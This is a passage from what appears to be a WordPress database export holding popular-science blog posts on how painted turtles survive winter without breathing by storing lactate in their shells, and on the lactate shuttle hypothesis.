-->\n\n<!-- wp:paragraph -->\n<p>If that sounds like a crazy physiological adaptation to you, it is! Not breathing for months at a time is really hard. Turtles, like all animals, like oxygen. During the summer, they need it. During the winter, they don’t. Let’s talk a bit about why.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you remember from AP Biology, oxygen’s main use in the body is for aerobic respiration, which occurs in the mitochondria. Basically, our mitochondria use oxygen’s hunger for electrons to drive the creation of ATP, the short-term energy storage of the body. The more short-term energy we use, the more oxygen we need. This is why you breathe hard when you run.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most animals have a secondary<a href=\"https://trevorklee.substack.com/p/how-do-waterdwelling-turtles-survive#footnote-3-145813428\">3</a>, anaerobic process when aerobic respiration is not enough to provide all of the body’s energy needs, called lactic acid fermentation<a href=\"https://trevorklee.substack.com/p/how-do-waterdwelling-turtles-survive#footnote-4-145813428\">4</a>. This is not a great secondary option. Not only is it not particularly efficient, but it leaves behind a waste product, lactic acid.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Lactic acid is bad for you. It’s an acid, which means it attacks tissues, and it builds up in your bloodstream, lowering the pH and disrupting your cells. Plus, it just feels terrible. It causes burning and anxiety, and may, in fact, be&nbsp;<a href=\"https://www.psychologytoday.com/us/blog/neuroscience-in-everyday-life/202106/acids-in-the-brain-cause-anxiety\">an underrecognized cause of panic attacks</a><a href=\"https://trevorklee.substack.com/p/how-do-waterdwelling-turtles-survive#footnote-5-145813428\">5</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For humans, the problems caused by lactic acid buildup are so serious that we can’t go long without breathing, even if we’re not expending a lot of energy. When we do have too much lactic acid, we tend to go into lactic acidosis<a href=\"https://trevorklee.substack.com/p/how-do-waterdwelling-turtles-survive#footnote-6-145813428\">6</a>, which if it lasts long enough, can lead to death.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Painted turtles aren’t immune to lactic acid. However, they do have something we don’t: shells. During the winter,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2290531/\">&nbsp;their shells (and maybe bones) release calcium and magnesium into their bloodstream</a>. The calcium and magnesium react with the lactic acid, forming calcium lactate and magnesium lactate salts. They then store these salts in their shells (and maybe bones). One study found that 40% of one painted turtle’s shell was calcium lactate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!hz3n!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45dd17a4-4288-43ef-b18e-adc2fa7090c0_4769x2664.svg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!hz3n!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45dd17a4-4288-43ef-b18e-adc2fa7090c0_4769x2664.svg\" alt=\"Turtle shell - Wikipedia\" title=\"Turtle shell - Wikipedia\"/></a><figcaption class=\"wp-element-caption\">A turtle shell from Wikipedia. You’ll notice that the shell is built from the bottom up, generating new scales from a keratin lattice (and possible interstitial calcium and magnesium lactate). This pushes up the old scales, which are dried, hardened, and form the protective outer armor until they are eventually sloughed off.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>So, turtles survive the winter by not breathing, and they survive not breathing by not moving and buffering and sequestering lactic acid in their shells and maybe bones. Neat, right?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/how-do-waterdwelling-turtles-survive#footnote-anchor-1-145813428\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m going to be talking about painted turtles because they’re the best studied, but these same adaptations probably hold for a number of air-breathing, aquatic turtles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/how-do-waterdwelling-turtles-survive#footnote-anchor-2-145813428\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t entirely true. Painted turtles can breathe a bit underwater through their skin, but it’s an inefficient process. That’s why they still surface for air.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/how-do-waterdwelling-turtles-survive#footnote-anchor-3-145813428\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m probably going to write an article about lactic acid fermentation next, as I read a recent review paper that convincingly argues&nbsp;<a href=\"https://www.nature.com/articles/s42255-020-0243-4\">the story is much more complicated than the AP Bio version I relate here</a>. I don’t feel like getting into the weeds in this essay, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/how-do-waterdwelling-turtles-survive#footnote-anchor-4-145813428\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Animals that don’t perform lactic acid fermentation include many invertebrates, some fish in low-oxygen zones, and parasitic worms. You’ll notice that all of these tend to live in low-oxygen environments, at least relatively low-oxygen in the case of invertebrates (i.e. they are bad at getting oxygen from the air to their cells, so normal air is low-oxygen for them). Instead,&nbsp;<a href=\"https://pubmed.ncbi.nlm.nih.gov/22573769/\">they tend to rely on alcohol dehydrogenase</a>, so they excrete ethanol, much like yeast. This is apparently easier physiologically to deal with than lactic acid, which is surprising to me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/how-do-waterdwelling-turtles-survive#footnote-anchor-5-145813428\">5</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Lactic acid does not, however, cause delayed onset muscle soreness, despite what your gym teacher might have told you. DOMS is probably caused by direct strains on the muscle tissue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/how-do-waterdwelling-turtles-survive#footnote-anchor-6-145813428\">6</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Generally speaking, people don’t go into lactic acidosis because of a lack of supply of oxygen, though. If you lack oxygen, you’d probably die before then from brain death, because our brain requires too much energy to go without oxygen for very long. If you somehow avoided that, you’d also have an issue of inadequate oxygen-carbon dioxide exchange, leading to an excess of carbon dioxide (hypercapnia).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not only does hypercapnia lead to similar issues as lactic acidosis through an excess of carbonic acid, but our body is also apparently pretty bad at distinguishing between carbon dioxide and oxygen for most purposes. Both the brain and heart tend to have problems pretty quickly when dealing with high CO2 environments, even if there’s otherwise adequate oxygen. Turtles don’t have to deal with this in the winter because, even though they’re in a high CO2 environment, they’re not breathing it in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>People do go into lactic acidosis because of problems with oxygen delivery to the right cells or problems with aerobic respiration. In terms of problems of oxygen delivery, this can be as simple as a lack of blood supply (i.e. from bleeding) or shock causing vasoconstriction. In terms of problems with aerobic respiration, there are a bunch of interesting things that can go wrong with aerobic respiration.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, for example, there are a number of different genetic conditions that affect the mitochondria in different ways and can mess them up badly enough to cause lactic acidosis. Some of these directly mess up the mitochondria, like Leigh syndrome, which causes the cell to develop messed up ATP synthase.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Others of these mess up the mitochondria indirectly, like biotinidase deficiency. Biotinidase helps the body produce biotin from the food we eat. If the body can’t produce biotinidase, it has a deficit of biotin. Because biotin is a necessary cofactor for pyruvate carboxylase, pyruvate builds up in the mitochondria and is never converted to acetyl CoA. The only other way for it to leave is to be converted to lactate through anaerobic respiration, leading to lactic acidosis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s also a number of different medications that can cause lactic acidosis. A fair number of these are antibiotics or antivirals, because some of those kill bacteria or viruses by interfering with the same sorts of processes mitochondria use. Cyanide, the poison that spies use to kill themselves in movies and sometimes in real life, also can cause lactic acidosis by directly inhibiting the electron transport chain, although, again, people tend to die due to lack of ATP in the brain and heart before lactic acidosis kills them.</p>\n<!-- /wp:paragraph -->','How do waterdwelling turtles survive the winter?','','publish','closed','closed','','how-do-waterdwelling-turtles-survive-the-winter','','','2025-07-03 18:58:06','2025-07-03 18:58:06','',0,'https://trevorklee.com/?page_id=466',0,'page','',0),
(467,1,'2025-07-03 18:58:06','2025-07-03 18:58:06','<!-- wp:paragraph -->\n<p>Living in freshwater seems fun until winter. Then your pleasant, watery home becomes ice, and you have to change up your entire living strategy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re a fish, frog, or other animal that can breathe underwater, you can just go to the deepest parts of your lake and go into torpor, barely moving and taking in very little food or oxygen. This presents its own challenges, like not freezing and still getting enough water over your gills to get oxygen (for fish, at least), but it’s doable.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re a painted turtle, however, you can’t do that<a href=\"https://trevorklee.substack.com/p/how-do-waterdwelling-turtles-survive#footnote-1-145813428\">1</a>. Even though you’re a water-dweller, you can’t breathe underwater<a href=\"https://trevorklee.substack.com/p/how-do-waterdwelling-turtles-survive#footnote-2-145813428\">2</a>, so torpor isn’t an option. You have to go up to the surface to breathe. That’s fine in every other season, but, in winter, the entire water surface might be covered in ice. Even if it’s not, swimming in freezing water to find gaps in the ice to breathe is an energetically costly process during a time when food is scarce.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So what do you do? Well, you might think you should go on land. But painted turtles take a different tact. They still go underwater (or under the mud). However, they don’t go into torpor. They go deeper, into an even lower metabolic state of hibernation, and stop breathing completely for the entire winter.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!TGJi!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b691d02-7dbc-4814-b1fc-a632a4e18c1c_1280x720.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!TGJi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b691d02-7dbc-4814-b1fc-a632a4e18c1c_1280x720.jpeg\" alt=\"TURTLES UNDER ICE! (How? Why?) - YouTube\" title=\"TURTLES UNDER ICE! (How? Why?) - YouTube\"/></a><figcaption class=\"wp-element-caption\">This is from a Youtube video entitled “<a href=\"https://www.youtube.com/watch?app=desktop&amp;v=VLiZojqXhuE\">Turtles Under Ice! How? Why?</a>” I like how excited this guy is.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>If that sounds like a crazy physiological adaptation to you, it is! Not breathing for months at a time is really hard. Turtles, like all animals, like oxygen. During the summer, they need it. During the winter, they don’t. Let’s talk a bit about why.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you remember from AP Biology, oxygen’s main use in the body is for aerobic respiration, which occurs in the mitochondria. Basically, our mitochondria use oxygen’s hunger for electrons to drive the creation of ATP, the short-term energy storage of the body. The more short-term energy we use, the more oxygen we need. This is why you breathe hard when you run.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most animals have a secondary<a href=\"https://trevorklee.substack.com/p/how-do-waterdwelling-turtles-survive#footnote-3-145813428\">3</a>, anaerobic process when aerobic respiration is not enough to provide all of the body’s energy needs, called lactic acid fermentation<a href=\"https://trevorklee.substack.com/p/how-do-waterdwelling-turtles-survive#footnote-4-145813428\">4</a>. This is not a great secondary option. Not only is it not particularly efficient, but it leaves behind a waste product, lactic acid.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Lactic acid is bad for you. It’s an acid, which means it attacks tissues, and it builds up in your bloodstream, lowering the pH and disrupting your cells. Plus, it just feels terrible. It causes burning and anxiety, and may, in fact, be&nbsp;<a href=\"https://www.psychologytoday.com/us/blog/neuroscience-in-everyday-life/202106/acids-in-the-brain-cause-anxiety\">an underrecognized cause of panic attacks</a><a href=\"https://trevorklee.substack.com/p/how-do-waterdwelling-turtles-survive#footnote-5-145813428\">5</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For humans, the problems caused by lactic acid buildup are so serious that we can’t go long without breathing, even if we’re not expending a lot of energy. When we do have too much lactic acid, we tend to go into lactic acidosis<a href=\"https://trevorklee.substack.com/p/how-do-waterdwelling-turtles-survive#footnote-6-145813428\">6</a>, which if it lasts long enough, can lead to death.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Painted turtles aren’t immune to lactic acid. However, they do have something we don’t: shells. During the winter,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2290531/\">&nbsp;their shells (and maybe bones) release calcium and magnesium into their bloodstream</a>. The calcium and magnesium react with the lactic acid, forming calcium lactate and magnesium lactate salts. They then store these salts in their shells (and maybe bones). One study found that 40% of one painted turtle’s shell was calcium lactate.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!hz3n!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45dd17a4-4288-43ef-b18e-adc2fa7090c0_4769x2664.svg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!hz3n!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45dd17a4-4288-43ef-b18e-adc2fa7090c0_4769x2664.svg\" alt=\"Turtle shell - Wikipedia\" title=\"Turtle shell - Wikipedia\"/></a><figcaption class=\"wp-element-caption\">A turtle shell from Wikipedia. You’ll notice that the shell is built from the bottom up, generating new scales from a keratin lattice (and possible interstitial calcium and magnesium lactate). This pushes up the old scales, which are dried, hardened, and form the protective outer armor until they are eventually sloughed off.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>So, turtles survive the winter by not breathing, and they survive not breathing by not moving and buffering and sequestering lactic acid in their shells and maybe bones. Neat, right?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/how-do-waterdwelling-turtles-survive#footnote-anchor-1-145813428\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m going to be talking about painted turtles because they’re the best studied, but these same adaptations probably hold for a number of air-breathing, aquatic turtles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/how-do-waterdwelling-turtles-survive#footnote-anchor-2-145813428\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t entirely true. Painted turtles can breathe a bit underwater through their skin, but it’s an inefficient process. That’s why they still surface for air.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/how-do-waterdwelling-turtles-survive#footnote-anchor-3-145813428\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m probably going to write an article about lactic acid fermentation next, as I read a recent review paper that convincingly argues&nbsp;<a href=\"https://www.nature.com/articles/s42255-020-0243-4\">the story is much more complicated than the AP Bio version I relate here</a>. I don’t feel like getting into the weeds in this essay, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/how-do-waterdwelling-turtles-survive#footnote-anchor-4-145813428\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Animals that don’t perform lactic acid fermentation include many invertebrates, some fish in low-oxygen zones, and parasitic worms. You’ll notice that all of these tend to live in low-oxygen environments, at least relatively low-oxygen in the case of invertebrates (i.e. they are bad at getting oxygen from the air to their cells, so normal air is low-oxygen for them). Instead,&nbsp;<a href=\"https://pubmed.ncbi.nlm.nih.gov/22573769/\">they tend to rely on alcohol dehydrogenase</a>, so they excrete ethanol, much like yeast. This is apparently easier physiologically to deal with than lactic acid, which is surprising to me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/how-do-waterdwelling-turtles-survive#footnote-anchor-5-145813428\">5</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Lactic acid does not, however, cause delayed onset muscle soreness, despite what your gym teacher might have told you. DOMS is probably caused by direct strains on the muscle tissue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/how-do-waterdwelling-turtles-survive#footnote-anchor-6-145813428\">6</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Generally speaking, people don’t go into lactic acidosis because of a lack of supply of oxygen, though. If you lack oxygen, you’d probably die before then from brain death, because our brain requires too much energy to go without oxygen for very long. If you somehow avoided that, you’d also have an issue of inadequate oxygen-carbon dioxide exchange, leading to an excess of carbon dioxide (hypercapnia).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not only does hypercapnia lead to similar issues as lactic acidosis through an excess of carbonic acid, but our body is also apparently pretty bad at distinguishing between carbon dioxide and oxygen for most purposes. Both the brain and heart tend to have problems pretty quickly when dealing with high CO2 environments, even if there’s otherwise adequate oxygen. Turtles don’t have to deal with this in the winter because, even though they’re in a high CO2 environment, they’re not breathing it in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>People do go into lactic acidosis because of problems with oxygen delivery to the right cells or problems with aerobic respiration. In terms of problems of oxygen delivery, this can be as simple as a lack of blood supply (i.e. from bleeding) or shock causing vasoconstriction. In terms of problems with aerobic respiration, there are a bunch of interesting things that can go wrong with aerobic respiration.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, for example, there are a number of different genetic conditions that affect the mitochondria in different ways and can mess them up badly enough to cause lactic acidosis. Some of these directly mess up the mitochondria, like Leigh syndrome, which causes the cell to develop messed up ATP synthase.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Others of these mess up the mitochondria indirectly, like biotinidase deficiency. Biotinidase helps the body produce biotin from the food we eat. If the body can’t produce biotinidase, it has a deficit of biotin. Because biotin is a necessary cofactor for pyruvate carboxylase, pyruvate builds up in the mitochondria and is never converted to acetyl CoA. The only other way for it to leave is to be converted to lactate through anaerobic respiration, leading to lactic acidosis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s also a number of different medications that can cause lactic acidosis. A fair number of these are antibiotics or antivirals, because some of those kill bacteria or viruses by interfering with the same sorts of processes mitochondria use. Cyanide, the poison that spies use to kill themselves in movies and sometimes in real life, also can cause lactic acidosis by directly inhibiting the electron transport chain, although, again, people tend to die due to lack of ATP in the brain and heart before lactic acidosis kills them.</p>\n<!-- /wp:paragraph -->','How do waterdwelling turtles survive the winter?','','inherit','closed','closed','','466-revision-v1','','','2025-07-03 18:58:06','2025-07-03 18:58:06','',466,'https://trevorklee.com/?p=467',0,'revision','',0),
(468,1,'2025-07-03 18:59:42','2025-07-03 18:59:42','<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Introduction</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Before I start this essay, I have to apologize in advance: it’s going to get wonky. But, I think it’s important, so stay with me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve been puzzled for a while about the whole insulin/glucose system<a href=\"https://trevorklee.substack.com/p/is-lactate-as-important-as-glucose#footnote-1-146016035\">1</a>. The traditional story, where insulin and glucagon keep your blood sugar in check, while obesity causes insulin resistance and underproduction and so mess up the blood sugar system, works only up to a point. There are a bunch of holes, though, starting with how there’s no consistent relationship with fat and insulin or insulin resistance<a href=\"https://trevorklee.substack.com/p/is-lactate-as-important-as-glucose#footnote-2-146016035\">2</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve speculated before that there’s probably some missing pieces to the story. It’s really hard to break out of the insulin/glucose model in relation to diabetes and obesity, but we need to, because these are human diseases and a human way of looking at the energy system. Insulin is found across the animal kingdom (including, in a modified form,&nbsp;<a href=\"https://pubmed.ncbi.nlm.nih.gov/24348428/\">in insects</a>), and glucose is used, well, everywhere. Even prokaryotes use glucose. Trying to understand insulin and glucose by only looking at humans is like understanding eyesight by only looking at human eyes. Like yes, it’s somewhat informative, but a lifetime of studying human eyes would not prepare you for the mantis shrimp.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!s8Ts!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38835f77-e4e6-430c-bad2-024c3e3fcf80_926x450.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!s8Ts!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F38835f77-e4e6-430c-bad2-024c3e3fcf80_926x450.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">Mantis shrimps have famously complex eyes, which can move independently and can detect polarized light. There’s currently&nbsp;<a href=\"https://journals.biologists.com/jeb/article/225/6/jeb243699/274835/Colour-vision-in-stomatopod-crustaceans-more\">a lively debate</a>&nbsp;on whether this actually yields better color vision than humans. Regardless, their eyes are really weird, especially compared to humans’.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>While doing research for my last blog on the strange case of the frozen painted turtles, I came across what I think may be some missing piece of the puzzle. If you recall, in my last blog, I introduced to you (or more likely, re-introduced to you) anaerobic respiration. Anaerobic respiration ends up being a big deal for painted turtles because they hide underwater or under mud for the entire winter, which means they have to deal with very low oxygen conditions for months at a time. They deal with this by having their cells switch solely to lactate fermentation, but that raises the issue of lactic acid buildup, which turtles deal with by adding calcium lactate to their cells.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>While doing research for my turtle post, I started to realize that I didn’t know much about lactate. All I knew was lactate as a waste product that could also be used as a fuel, sort of like if your car produced canola oil from its exhaust. On the one hand, that would probably be useful to burn if your car’s equipped for it. On the other hand, it’d result in canola oil everywhere, so it can very easily turn into more of a hindrance than a help.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This idea of “lactate as waste product that can also be used as fuel” is in line with how pretty much everyone thinks about lactate, as far as I can tell. That’s what the standard line when I was looking at turtles was. But that seemed unsatisfactory to me. Lactate is everywhere. Even the organisms that can’t easily excrete lactate, like deep sea fish, use lactate as an energy source temporarily before&nbsp;<a href=\"https://sci-hub.gupiaoq.com/10.1242/jeb.060236\">converting into ethanol and excreting it</a>. It’s weird to think of such a universal energy source as a waste product. If every car constantly generated canola oil from its exhaust and used it as fuel, you might just think that the canola oil pipe isn’t a waste product that coincidentally cars can use as fuel. You’d think it was just another part of how cars work.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Similarly, maybe lactate is just part of how cells work. Maybe there’s a really good reason it’s everywhere, and not just because it’s a necessary evil. Maybe there’s something particularly useful about it. Would make sense, no?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">The Lactate Shuttle Hypothesis</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Well, apparently, I’m not the only one who’s thought lactate might actually be quite useful. Others also have thought the same thing since at least the 80s under the name the “<a href=\"https://en.wikipedia.org/wiki/Lactate_shuttle_hypothesis\">lactate shuttle hypothesis</a>”. Basically, the theory goes that lactate, far from being a waste product, is actually a universal energy transporter. It’s like oil: definitely a problem if it accumulates in the wrong place, but actually really useful as a means of transferring energy around the body in a way that glucose is not. Because, although glucose is energy dense, it’s also highly specific, and can only be transported by glucose transporters.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Lactate, in this hypothesis, is less energy dense but more easily transported or “shuttled”. So, in this view, glucose ends up being the fuel for the most important cells which tend to have glucose transporters, like the brain or the immune system, but, whenever there’s a lack of glucose transporters, lactate is there to carry the energy away to be used somewhere else.<br><br>To go back to the canola oil analogy, it’d be like if we had a limited number of trucks that could carry gasoline, but any guy with a jug could carry canola oil. So, the gasoline trucks end up preferentially carrying the gasoline to the most important places (like a military installation or a hospital), but, whenever we run out of gasoline trucks (or there are too many gasoline trucks on a single road and there’s a traffic jam), we convert the gasoline to canola oil, pour it in a jug, and tell the nearest guy, “Hey, go find someone who needs energy”. Whoever’s left that needs energy gets canola oil, which is better than nothing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a big claim, of course. It brings lactate from the sidelines to the center of the action. So, like any big claim, it requires some big evidence. Fortunately, we have some, courtesy of&nbsp;<a href=\"https://sci-hub.gupiaoq.com/10.1038/s42255-020-0243-4\">this paper</a>, which also was the paper that introduced me to the lactate shuttle idea. The paper is a little confusingly organized, but it can basically be understood as presenting the reasons why people didn’t think lactate was a central fuel source and the reasons why the paper thinks these people are wrong. So, that’s how I’m going to organize my summary of the paper’s evidence as well. I’m going to put why people didn’t think lactate was central in italics, and the paper’s rebuttals in normal font.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Evidence for the lactate shuttle hypothesis</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><em>1. Cultured mammalian cells prefer glucose and grow very well on it.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s an artifact of how cultured mammalian cells are grown. Most of them are grown in mediums with serum growth factors, glucose, and no lactate. So, of course they’d prefer glucose. And, when they do end up producing lactate (which most of them do, even in oxygen rich conditions), that lactate gets swept away every time the medium gets changed and the cells get a whole new batch of glucose. So, these cultured mammalian cells have basically no constraints on the amount of glucose they can metabolize or the amount of lactate they can secrete.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you made cultured mammalian cells grow in mediums that more closely resemble natural conditions (i.e. a mostly stagnant mix of 5 mM glucose and 1mM lactate), you’d see that they also like to metabolize lactate as their glucose transporters get overwhelmed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>2. When you look at the arterial-venous differential of glucose vs. lactate, you see there’s approximately a 5:1 glucose:lactate metabolite ratio. This suggests that most of the metabolism that’s going on is metabolism of glucose, and a minority of the metabolism is lactate. That minority is just the conversion of lactate waste to glucose fuel.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is just because lactate has a really rapid turnover. So glucose is taken up slowly and metabolized slowly, so you end up with large, slow-moving pools of glucose metabolites. Meanwhile, lactate is exchanged rapidly and diffused throughout the body, so you don’t end up with large pools.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is supported by isotope-tracing measurements, where glucose and lactate are radioactively labeled and introduced into the bloodstream. It’s possible to then see how rapidly the radioactive glucose and lactate are diluted by endogenous production (i.e. faster production of lactate results in faster dilution). Using this, we see that lactate production is consistently twice that of glucose on a molar basis, so equal to glucose on a per-carbon basis (lactate is 3 carbons, glucose is 6 carbons). If they’re equal, this puts lactate at least in as central a role as glucose.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>3. The brain, the most important organ, uses glucose directly.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Yes, but all the other organs prefer glucose is converted to lactate, according to isotope tracing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>4. Glucose is needed for really important functions: brain, immune system, glycogen, glycosylation. There are no functions or organs that need lactate.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Exactly! It’s not that glucose isn’t important. It’s just that it’s not universal. Glucose gets reserved for the most important functions and organs, and lactate gets used for everything else. This is supported by the fact that the vast majority of glucose is taken up by functions that need glucose, but lactate gets taken up equally almost everywhere.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>5. Lactate accumulation is dangerous. There’s no way it could be a central energy source.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Too much lactate in one place is dangerous, yes. But lactate is well-mixed and exchanges rapidly. As long as glycolysis and the citric acid cycle are still happening at a normal rate 